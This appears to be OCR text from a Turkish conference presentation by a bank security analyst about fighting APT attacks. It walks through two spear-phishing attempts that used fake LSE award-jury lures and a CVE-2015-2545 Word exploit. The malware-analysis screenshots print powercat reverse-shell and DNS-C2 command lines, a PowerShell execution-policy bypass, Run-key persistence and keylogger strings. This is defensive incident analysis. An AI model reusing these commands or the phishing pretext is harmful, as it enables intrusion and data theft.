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UYARI.

Bu sunum, reklami yap-
mak amaayla hazirlanmamishir!

Bu sunumda anlatilanlarin
hicbiri hayal Grinii degildir!

Siz bu sunumu izlerken birileri
kurumunuzu hedef aliyor olabilir!
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ICERIK.

APT ile Nasil Miicadele Edilir ?

Bir APT Girisimi

Sonuc
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BEN KIMIM?

Uzmanlik Alanlarim Sizma Testi, Zararh Yozilim Analizi, Bilgisayar
Olaylarina Miidahale

Blog Yazari www.merfsarica.com

Giivenlik TV www.guvenlikiv.org

Sertifika Kolleksiyoncusu CISSP, SSCP, OSCP, OPST, CREA, CEREA
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MESLEGIM.

QNB Finanshank'in Bilgi Teknolojileri istiraki olan

BTech firmasinda, Tehdit ve Zafiyet Yonetimi ekibinde 5\
Teknik Lider olarak gdrev yapmaktayim. (2007 - *) @ £l ‘

s% QNB

AN FINANSBANK




APT NEDIR ?

Kurumunuzu ve calisanlaninizi hedef
alan organize siber saldinidr.
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System initialization
[PROGAESS

Fidata_5

B5SA0. 7057

7?3,?3WM_¢?SUE A0 TOTI
L

P 7850 31190 OIS

Ileri seviye saldin yontemleri & zararl
yaziimla kullaniimaktadir.
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“Taktik, yapacak bir sey varken ne yapiimasi gerektigini bilmek;
Strateji ise yapacak hichir sey yokken ne yapmak gerektigini bilmektir."

Ld T

APT ILE MUCADELE KANUNU.

Calisanlara ve uzmanlasmaya yatinm
Teknolojiye yatinm

Vizyon & iist yonetim destegi
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“Her zaman en tembel insanlan ise alinm ciinkii fembeller
cok karisik isleri bile en kisa yoldan yaparlar.”

S
CALISANLARA YATIRIM.

Cihazlan ve sistemleri insanlar yonetir.

Calisan ne kadar egitimli olur ise siber saldir tespitinde ve
midahalesinde o kadar basarili olur.

Ne is olursa yapana degil, isini iyi yapana yatinm yapilmalidir!
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Doiru zamanda dogru feknolojiye ™~ - ———
yatirim yapilmalidir. e

Tehdit raporlar : s

onceliklendirmeniz gereken yatinmlar ~----
konusunda size isik tutacaktr.

Uriin seciminde alarm sayisi degil,
dogru alarm sayisi onemlidir!
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VIZYON & UST YONETIM DESTEGI.

Calisanlarimza kulak verin.
Yatnmlannizi 6telemeyin.
Baskalarinin hatalarindan ders ckarin.

Harekete gecmek icin beklemeyin!
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NEDEN KUM HAVUZU SISTEMI?

Kurumunuzda cok sayida giivenlik sistemi/cihazi var.
Cok sayida da giivenlik alarmi var! (f/p, korelasyon eksikligi)

Statik ve dinamik olarak dosyalari analiz eden bir teknoloji
sayesinde az, 6z, nemli alarmlara odaklanabilirsiniz.
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FIREEYE TECRUBELERIM.

2014 yilindan bu yana Uriiniini kullaniyorum.

Bu zamana dek diye itiraz ettigim 3 vakada da
yanilan ben oldum. :)

Son 10 yilda tanik oldugum en ciddi siber saldini girisimlerini
(APT), fespit efti.
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TARIHCE.

- Hacker, adresinden bir yetkiliye e-posta gonderiyor.

- Yazismalarin sonunda hacker, zararl kod iceren ofis dokiimaninin bulundugu
adresi st diizey yetkiliye gonderiyor.

- vekil sunucu (proxy) trafigi iizerinden zararh kod iceren ofis
dokimanini tespit ediyor ve engelliyor!

- Zararh yazihim analizi sireci baslatiliyor.
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APT GIRISI

My name 1s ., I work at the London School of Economics.

I am the head of the jury panel of contests organized by The Banker: http://www.thebanker.com/
Jury panel consists of representatives of several leading universities and also high-qualification experts from the financial corporations.
Recently, one place in the expert group has become vacant.

We are looking for a consultant that could help us to assess candidates for Islamic Bank of the Year Awards: http://www.thebanker.com/Awards/Islamic-Bank-of-the-Year-Awards
They must have the experience in banking service and sufficient knowledge at the specifics of the region.

It’s great honor for me to invite you to join our team.
Are you interested in participation?

Best,




APT GIRISI

The Banker Awards contest 1s held not the first time. Best scientists of the Umiversity College London, Umiversity of Miami School of Business Administration and other universities are the main experts.
Jury panel is regularly updated.

External advisor group consists of 20 people — there is one vacant place now.

You will have to answer the set of questions regarding nominees of Islamic Bank of the Year Awards. It 1s essential for more precise assessment of candidates in each nomination.

At the average, 1t may take about 2-3 hours a week. We provide flexible work hours and remote work opportunities.

In return. you will get the certificate of the honored contest expert, and prospect for further development in this direction.

In next 3 weeks, we will need your assistance. If 1t goes well, we will proceed cooperation in 2017.

What do you think?

Best,




APT GIRISIMI

Foremost, you have to fill out and send me the Expert application form:
http://mova. bus miami edu/~emil/Documents/Application Form doc

Further, I will prepare the NDA. After that, I will send you first questions.

Best,




APT GIRISI

<C Eye'" ALERTS

us Behavio

Trojan Behavior
ence Activity

ence Behavior

0S Change Summary

Malware

Malware.archive

Local. Callback

Heuristic.APT. Possible_Poisonlvy_Handshake «

b7409525256529be43a51851e0bb6617
1be9799d85fedfcbaeb
796dff8007f3163adf cb3fa7f5fded1c

Mal Infections Callbac
Malvare.archive 0

5d85fedfcbaeb8a5cSeS0262e

Infections

Botnets

0

Protocol

TCP (8080)
P 0)

TCP (8080)

col

TCP (8080)

Last CnC Serv Last Location First Seen

12/09/16 15:

12/09/16 1.

Encoding Last analysis time
12/09/16 1.
12/09/16 16

12/09/16 1

Last Seen

12/09/16 14

12/09/16 14:53

Protocols

Tcp




APT GIRISI

s Application_Form.doc - Word

g X

HOME INSERT DESIGN PAGE LAYOUT REFERENCES MAILINGS REVIEW VIEW Sign in
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1 SECURITY WARNING Some active content has been disabled. Click for more details. Enable Content

Expert Application Form

This form is processed automatically. Please use appropriate fields for your answers.
Name

Phone L;J
E-mail u

Q1. How long have you been working in the Banking field?

4 Less than a | . 1 year - 3 years x 3 years - 7 years | . More than 7
year years

Q2. What is your specialty?

Q3. How would you rate you team working skills?

u Very good |_, Good u Satisfactory |_,

Q4. How much time can you spend on the Cooperation tasks per week?

X 2-3 hours X 4-6 hours . 7-9 hours - More than 9
x| [ B ||

hours

Q5. Do you have any professional certificates?

Wha'

Application_Form.doc 1.503 characters (an approximate value).




APT GIRISI

P Antivirus scan for f2c1 x
< C A 8 https: //www.virustotal com
i Apps  For quick access, place your bookmarks here on the bookmarks bar, Import marks Now. .

9439910341 d2b96de541762e32c0c3B197535d

*

Analysis date 2016-12409 11:59:53 UTC ( 21 hours, 4 minutes ago )

Lo

Antivirus Result Update
0161209

20161208




IDA - nacl32.idb (nacl32.exe) C:\Users'
File Edit
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M Library function

Search View

oy oy A

107

Jump

M v @3 v

E Functions window

Function name
[F] nullsub_1
[#] sub_401170
start
sub_401500
sub_401600
sub_401630
sub_4016D0
sub_401710
f | sub_4017E0
sub_401A80
7] sub_401B60
[#] sub_401B70
[#] sub_401B80

[#] sub_401B20
al v
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[£]
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[£]
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Line 3 of 26633

,,1?. Graph overview

j Output window
apply_callee_type_plugin:run
ApplyCalleeType: Starting up
ApplyCalleeType: Using ea:

APT GIRISI

Debugger
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Unexplored [l Instruction ]l External symbol

Address

.rdata:00D9B4B0
.rdata:00D9B4D0
.rdata:00D9B510
.rdata:00D9B530
.rdata:00D9B570
.rdata:00D9B5D0
.rdata:00D9B5F0
.rdata:00D9B610
.rdata:00D9B630
.rdata:00D9B6B0
.rdata:00D9B6F0
.rdata:00D9B850
.rdata:00D9B8B0
rdata:00D9B930
.rdata:00D9B970
.rdata:00D9B9F0
.rdata:00D9BDF0
.rdata:00D9BE14
.rdata:00D9BE2C
.rdata:00D9BE44
.rdata:00D9BEGOD
.rdata:00D9BE78

: not found

[Te]

ApplyCalleeType: Cannot (or shouldn't) run when call optype is

Pattern "gcc™ was not found.
{ Python ;
AU s

_idle Down

“7 “ﬁ VOci...

Length

00000008
0000001E
00000010
00000014
00000012
00000010
00000010
00000010
00000010
00000024
0000000E
00000032
0000001 A
00000018
00000014
0000000A
00000012
00000006
00000008
0000000A
00000008
0000000A

o_near

» [ O [Local Win32 debugger

7‘17 3 m...

Type

unicC...
unic...
unic...
unic...
unic...
unic...
unic...
unic...
unic...
unic...
unic...
unic...

unic...
unic...
unic...
unic...
unic...
unic...
unic...
unic...
unic...
unic...
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String

Run
CurrentVersion
Windows
Microsoft
Software
dd*.ddt

kk* .kt

aa”.aat

ss™.sst
ddMMyy-HHmmss-zzz
ddMMyy
application/octet-stream
Content-Type
aa%l-%2.aat
audio/pcm
JPEG

k%6l kekt
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APT GIRISIMI 4
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Certificate

General | Details 4 Certification Path |

g; Certificate Information
This certificate is intended for the following purpose(s):

* Ensures software came from software publisher
* Protects software from alteration after publication

* Refer to the certification authority's statement for details.

Issued to: LLC Ageralab

Issued by: GlobalSign Extended Validation CodeSigning CA -
SHA256 - G3

valid from 10. 10. 2016 to 11. 10. 2017

Install Certiﬁcate...J ‘ Issuer Statement ‘

Learn more about certificates




APT GIRISI

SL From Linux to Windows

C () | & AOK U] tps://securelist.com

& oamy #RENGLISH v

SECURELIST THREATSv CATEGORIESv TAGSv ENCYCLOPEDIA STATISTICS DESCRIPTIONS

ww=p From Linux to Windows — New Family
of Cross-Platform Desktop
Backdoors Discovered

By Stefan Ortloff on January 29, 2016. 3:52 pm

Stefan Ortloff

Background

Recently we came across a new family of cross-platform backdoors for desktop environments. First we got the Linux
variant, and with information extracted from its binary, we were able to find the variant for Windows desktops, too. Not
only that, but the Windows version was additionally equipped with a valid code signing signature. Let s have a look at both
of them.

DropboxCache aka Backdoor.Linux.Mokes.a

' This backdoor for Linux-based operating systems comes packed via UPX and is full of features to monitor the victim's
activities, including code to capture audio and take screenshots.

$ file DropboxCache
DropboxCache: ELF 64-bit LSB executable, x 4, version 1 (GNU/Linux), statical
ly linked, stripped

After its first execution, the binary checks its own file path and, if necessary, copies itself to one of the following locations: BUSI “Ess $URVIVE
+ SHOME/SQT-GenericDataLocation/.mozilla/firefox/profiled A CRYPTOH?

+ SHOME/SQT-GenericDataLocation/.dropbox/DropboxCache

One example would be this location: SHOME/ local/share/.dropbox/DropboxCache. To achieve persistence, it uses this not
very stealthy method: it just creates a .desktop-file in SHOME/.config/autostart/$filename.desktop. Here's the template for

this Leam how to guard against
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TARIHCE.

- Hacker, adresinden ayni yetkiliye ekinde
dosya olan bir e-posta gonderiyor.

- adresi ilk APT girisimi sonrasinda kurum genelinde yasaklandigi icin
st diizey yetkiliye e-posta ulasmiyor.

- S0C ekibi uzantili e-posta adreslerinden ganderilen e-postalars
yakindan takip ettigi icin alarm olusuyor.

- Zararl yoziim analizi sireci baslatiliyor.

%



APT GIRISI

Hello,

Congratulations, your candidature is approved.

The attachment contains the copy of the confirmation letter. Please pay attention to the expiry period of the certificate. You will get the hard copy via mail within 2 weeks.
Let's schedul Il on Thursday, 2 PM, do you mind?

Best regards,
Matteo

Matteo Salvalaggio

Senior Director of Development

London School of Economics & Political Science
Tel: +442039051983

Email: m.salvalaggio@|se.ac.uk h




APT GIRISI
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HOME INSERT DESIGN PAGE LAYOUT

Calibri (Body) ~ |11
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Confirmation_letter.dooc 960 characters (an approximate value).
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APT GIRISI

HOME INSERT DESIGN PAGE LAYOUT REFERENCES MAILINGS REVIEW VIEW Sign in

i . . . @ Find -~
ibri b ks i A - 2 " z a — . -
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Document Recovery

Word has recovered the following files.
Save the ones you wish to keep. f Economi Q tical ¢

) - Houghton St, London WC2A 2AE, UK
Available Files

E] Confirmation_letter.docx .
Version created last time t...

01.01.1601 02:00 Confirmation Letter

Dear Sir,

This letter confirms that your candidature was approved for participation in Banking
Technology Awards.

Please inform Matteo Szlvalaggio on 442039051983 or m.salvalaggsio@lse.ac.uk if you need
additional information.

Sincerely,

London School of Economics & Political Science, Award Committee

0 Which file do I want to save?

Confirmation_letter.dooc 960 characters (an approximate value).




APT GIRISI

=4 pestudio 8.56 - Malware Initial Assessment - www.winitor.com
File Help

> 0T

5] c\users\mert\desktop\confirmation_letter.docx

i indicators (2/3)

¥ virustotal (9/58 - 28.02.2017)

abe strings (32/3095)

engine (58)
BitDefender
Arcabit
Ad-Aware
F-Secure

GData

Emsisoft
Kaspersky
TrendMicro
Bkav
MicroWorld-eScan
nProtect

CMC
CAT-QuickHeal
McAfee
Malwarebytes
VIPRE
SUPERAnNtiSpyware
TheHacker
K7GW

K7 AntiVirus
Baidu

F-Prot

Symantec
ESET-NOD32
TrendMicro-HouseCall
Avast

ClamAV

Alibaba
NANO-Antivirus
AegisLab

Rising

Comeodo

Drweb

positiv (9)
Exploit.CVE-2015-2545.Gen
Exploit.CVE-2015-2545.Gen
Exploit.CVE-2015-2545.Gen
Exploit.CVE-2015-2545.Gen
Exploit.CVE-2015-2545.Gen
Exploit.CVE-2015-2545.Gen (B)
HEUR:Exploit. MSWord.Generic
HEUR_EMBEPS

clean

clean

clean

clean

clean

clean

clean

clean

clean

clean

clean

clean

clean

clean

clean

clean

clean

clean

clean

clean

clean

clean

clean

clean

clean

date (dd.mm.y...

28.02.2017
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28.02.2017
28.02.2017
28.02.2017
28.02.2017
25.02.2017
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28.02.2017
28.02.2017
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28.02.2017
28.02.2017
28.02.2017
28.02.2017
28.02.2017
28.02.2017
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28.02.2017
28.02.2017

age (...
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APT GIRISI

Microsoft Security Bulletin MS15-099 - Critical (

Vulnerabilities in Microsoft Office Could Allow Remote Code Execution (3089664)
Version:

Executive Summary

e the Affected Software sect

the Vulnerability Information sect

Affected Software and Vulnerability Severity Ratings

Microsoft Office Software




APT GIRISI

ALERTS

: Malware Object 104 X 02/28/17 19:53:10 2abe3cc4bff46455a945d56¢2725b45 579.140
Malware: W Exploit.docx, MV VM Capture: peap 976 bytes (text)
Application Type: Multiple MS Word X Raw Alert: D d (xml
File Type: docx Victim IP:
Src MAC Address: 00:09:0f:09:0d:0b
Dst MAC Address: 00:50:56:a6:2¢:df

MD3: 2abe3ccabff464552945d56c2725b45 P

Analysis OS: Micr Nindov 6.1

Archived Object: £8 &8

Download Source Headers

GET /[ wvivi mertsarica.com, = X-RBT-SCAR
Accept & ml, applical html+xml,application/xml;q=0.9,imag **iq=0. HTTP 1.1 200 OK
Accept-language en-US,en;q=0.8 Date Tue, 28 Feb 2017 16:47:
Cookie __cfduid=d57¢03f25eac07d0478061¢8a169¢d4051488300428 ETag "58bSad9b-3ce3d
Host wwvi.mertsarica.com CF-RAY 33855c10d476149d-AMS
Proxy-Authorization  NTLM TIRMTVNTUAADAAAAGAAYAHYAARAYABGAIQAAAAADABAAAAADAAMAE WALAASABSAWALA Server cloudflare-nginx
AAARAACTAAAABYKBAEYASQBOAEEATGETAFQAMQAZADIADQASAEKAQGBHAFCAVQAZADUAMQAY
ADEAMAAWADMANAAL ALOxADVrMGMNGEYkxMDgzHafmDoSE oDy tNS N6+pdNS
z2Q668A==
Proxy-Connection keep-alive Content-Type application/zip
RVBD-CSH Accept-Ranges bytes
RVBD-SSH Last-Modified Tue, 28 Feb 2017 16:47:23 GMT

Upgrade-Insecure- 1 Content-Length 249501
Requests

User-Agent Mozilla/4.0 (compatible; MSIE 5.5; Windows 98) Proxy-Connection Keep-Alive
X-RBT-Optimized-By rvbprdibtd3 (RiOS 9.5.0) SC

05 Change Detail (version: 1.2712) | Items: 88 | OS Info: Microsoft Windows? 32-bit 6.1 sp

Type Mode/Class Details (Path/Message/Protocol/Hostname/Qtype/ListenPort etc.) Process 1D Parent ID File Size
Analysis Malware
Application
Os Name: windows Version: 6.1.7601 Service Pack: 1 Arch: x86
Os Monitor Version: 16R1 Build: 519813 Date: Aug 312016 Time: 18:44:00
Config Update
Service Portable Device Enumerator Service
Service Background Intelligent Transfer Sarvice

Service ware Protection

Sarvica




APT GIRISI

| °/ pestudio 8.56 - Malware Ini
File Help
XHE?

=877 c\users\mert\desktop\decoded_maw location  blacklisted (200) item (1300)
W indicators (3/14) <10

}Y virustotal (n/a §ifB
O dos-stub (64 bytes) §|f8

function powercat

le-header (20 bytes)
O optional-header (224 bytes)
O directories (2)

sections (4)

libraries (2/8) - [alias("Listen")][switch]SI=SFalse,

param(
[alias("Client")][string]Sc="",

imports (161) - [alias("Port")][Parameter(Position=-1)][string]Sp="",
oot {n/a - [alias("Execute")][string]Se="",

[alias("Relay")][string]Sr=""

v

a - - [alias("UDP")][switch]Su=$False,
atx: - - [alias("dnscat2")][string]Sdns="",

ATk ¢ n/a - - [alias("DNSFailureThreshold")][int32]Sdnsft=10,
[alias("Timeout")][int32]5t=60,
[Parameter(ValueFromPipeline=$True)][alias("Input")]Si=Snull,
[ValidateSet('Host', 'Bytes', 'String')][alias(" OutputType")][string]So="Host",
[alias("QutputFile")][string]Sof="",

[alias("Disconnect")][switch]Sd=SFalse,

¢
r
¢
¢
[alias("ExecutePowershell")][switch]Sep=SFalse,
r
¢
r
"

[alias("Repeater")][switch]Srep=SFalse,
[alias("GeneratePayload")][switch]Sg=SFalse,
[alias("GenerateEncoded")][switch]Sge=SFalse,
[alias("Help")][switch]Sh=SFalse

HELP

SHelp ="
powercat - Netcat, The Powershell Version
Github Repository: https://github.com/besimorhino/powercat
This script attempts to implement the features of netcat in a powershell
script. It also contains extra features such as built-in relays, execute
powershell, and a dnscat2 client.
Usage: powercat [-c or -I] [-p port] [options]
-c <ip>  Client Mode. Provide the IP of the system you wish to connect to.
If you are using -dns, specify the DNS Server to send queries to.




APT GIRISI

File Help
X817

® | c\users\mert\desktop\decoded_malw type location  blacklisted (200) item (1300)
i indicators (3/14)

unicode - UninstaliString
" unicode . DisplayVersion
-dcs-stub (64 b:'1€.5" unicode . Publisher

unicode 2 - QuietUninstaliString

unicode - %.2d/%.2d/%d %.2d:%.2d:%.2d
unicode . L d/%. d/%d %.2d:%.2d:%.2d

optional-header (224 bytes)

directories (2)

sections (4)

libranes (2/8) unicode

imports (161) unicode
xport unicode

9

w

InternetProxy
%%d: %s%s:

Jou:%lbd u es es;

w

unicode

unicode

0C £ 07 4\
o5 /0%

= o ! ] unicode
akc unicode %s5%s

{1k de 3 9%65:%u

| T t GQS:OQd

[%0s] - [%e2d/%e-2d/%d %.2d:%.2d:%.2d)

{Backspace}

unicode

Wi Un e LA LA e 0D e LA

1

unicode
| unicode

| unicode
unicode {Return}

' (Tab}
Amrow Left}
Armrow Up}

00 e

; unicode

[
[

unicode

-
o

unicode
|

| unicode Arrow Right)

oW

unicode Arrow Down}
unicode
unicode
unicode
unicode
unicode

unicode

OO 00 S WA Bt D O b B
-

unicode Insert}
unicode - Print Screen)
unicode - Scroll Lock)
unicode

unicode

unicode

unicode

unicode

unicode

unicode




APT GIRISI

" { pestudio 8.56 - Malware Init
File Help
X 8%
% | ¢\users\mert\desktop\decoded_malware) oglcache.exe g location  blacklisted (200)  item (1300)

W indicators (3/14)

»]

X S.VB
pzig X powercat -¢ 101.1.1 -p 53 -dns c2.example.com
'dcrztub » b““?J powercat -1 -p 8000 -r dns:10.1.1.1:53:c2.example.com
cmd.exe /¢ powershell; Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process -Force..
SWINDIR %

%es\system32\cmd.exe

optional-header (224 bytes)
directones (2)

sections (4)

libraries (2/8)

imports (161)

checkip.dyndns.org

Host: checkip.dyndns.org

User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; nz:11.0) like Gecko

Accept: text/htm|, application/xhtml+ xmil application/xmlq=09,image/webp,"/*;q=08
) K Accept-Language: en-US en;q=08

- B %TEMP%

strings (200/1300) . 84.200.2.12:443;

-

acc

o FHTEMP 3\ loopc.cmd
—

e

CAWindows\system32\cmd.exe
psapidil
GetModuleFileNameEx

&

X X X x

ns.éxe

System

SetThreadExecutionState
C:\Windows\system32\cmd.exe
SOFTWARE\Microsoft\Windows\CurrentVersion\Run)
SOFTWARE\Microsoft\Active Setup\Installed Components' %s\
Secur32.dll

LsaGetLogonSessionData
LsaEnumeratelogonSessions

psapi.dll

GetModuleFileNameEx

ERNEL32.DLL

winhttp.dil

WinHttpOpen

WinHttpGetProxyForUrl

WinHttpCloseHandle
WinHttpGetlEProxyConfigForCurrentUser
GetNativeSysteminfo

ProductType
SYSTEM\CurrentControlSet\Control\ProductOptions
WINNT

LANMANNT

MK IN NN 'R N NN N NN XN NN

X X x x




APT GIRISI

<« Search | FireEye - MySIC X

<« C O a e | https//mysight.isightpartners.com/searc

AL,

SEARCH TERM(S)

Advanced ~  Anydate - Role = Category ~  Written for anyone ~ Intelligence Type ~ Report Type = Risk Rating ~

-+ CVE-2017-0261 Used as Zero-Day by Turla Group
and Unidentified Group Targeting Banks

ing Zero-Days
Exploited by Multiple Threat Actors

Home nt ntel by Cat My Account

Search




APT GIRISI

<« Report 17-00004695 | Fir X

< ure ttps://mysight.isightpartners.com
e

<§'5) FireEye THREAT INTELLIGENCE

Fusion (FS) Cyber Crime (CC)

Cyber Espionage (CE)

-2017-0261 U: ero-Day by Turla Group
argeting Banks

| Unidentified Group Ta




“Teki insanlari alip sonra onlara ne yapacaklarini soylemek mantikli gelmiyor.
Biz zeki insanlari ise alinz ki onlar bize ne yapacagimizi soylesinler.”

e N
SONUC.

Kum havuzu teknolojilerine yatiim yapmak icin hala cok gec degil.

Her kurum hacklenebilir bu nedenle Bilgisayar Olaylari Tespit (EDR) sistemleri de mu-

hakkak kullamlmalidir.

Giiniin sonunda kurumunuzu kurtaracak olanlar insanlardir, calisanlariniza ve uzman-
lasmaya yatinm yapin. :)

%



NOTLAR.

Bu sunuma konu olan ilk APT girisimini blogumda okuyabilirsiniz.

Bu sunuma konu olan ikinci APT girisimini ise 'de blogumda okuyabilirsiniz.

Bloguma konu olan yazilara, Griinleri ile haberleri olmadan katkida bulunduklar
icin firmasina tesekkiir ederim. :)

%



SORULAR?




MUTLU SON.
@ merisorica € mertsarica

mertsarica@gmail.com

v



Ao frsarnn

INIMALISTA

E sy 12 DTG,

()
Py

Nuvo Dragos A Blok D: 7 T: 0216 340 21 26

&y minimalistacomtr @) minimalistacreative minimalista_creative



